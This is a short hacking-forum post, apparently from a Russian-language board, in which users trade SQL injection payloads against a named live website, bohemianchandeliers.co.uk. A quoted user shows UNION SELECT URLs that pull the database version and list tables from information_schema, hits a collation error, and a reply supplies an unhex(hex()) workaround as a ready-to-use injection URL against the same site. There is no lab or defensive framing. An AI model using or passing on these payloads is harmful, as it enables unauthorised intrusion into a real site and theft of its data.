|
Познающий
Регистрация: 03.11.2011
Сообщений: 83
С нами:
7644566
Репутация:
11
|
|
Сообщение от lightangel
Thank you, Ruslan1817.
I still have a problem.
http://bohemianchandeliers.co.uk/prod_detail.php?id=14&cat=1'+union+select+1,2,3,4, version(),6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20+--+
Then I get 5.1.41-3ubuntu12.10-log, but when I execute like this.
http://bohemianchandeliers.co.uk/prod_detail.php?id=14&cat=1%27+union+select+1,2,3, 4,group_concat(table_name),6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20+from+information_schema.tables%2 0where%20table_schema=database()+--+
And I get- Illegal mix of collations for operation 'UNION'
Why?
er9j6@, nice but easy solution is unhex(hex())
Код HTML:
http://bohemianchandeliers.co.uk/prod_detail.php?id=14&cat=-1%27+union+select+1,2,3,4,unhex(hex(table_name)),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables+limit+0,1--+1
And easy construction
|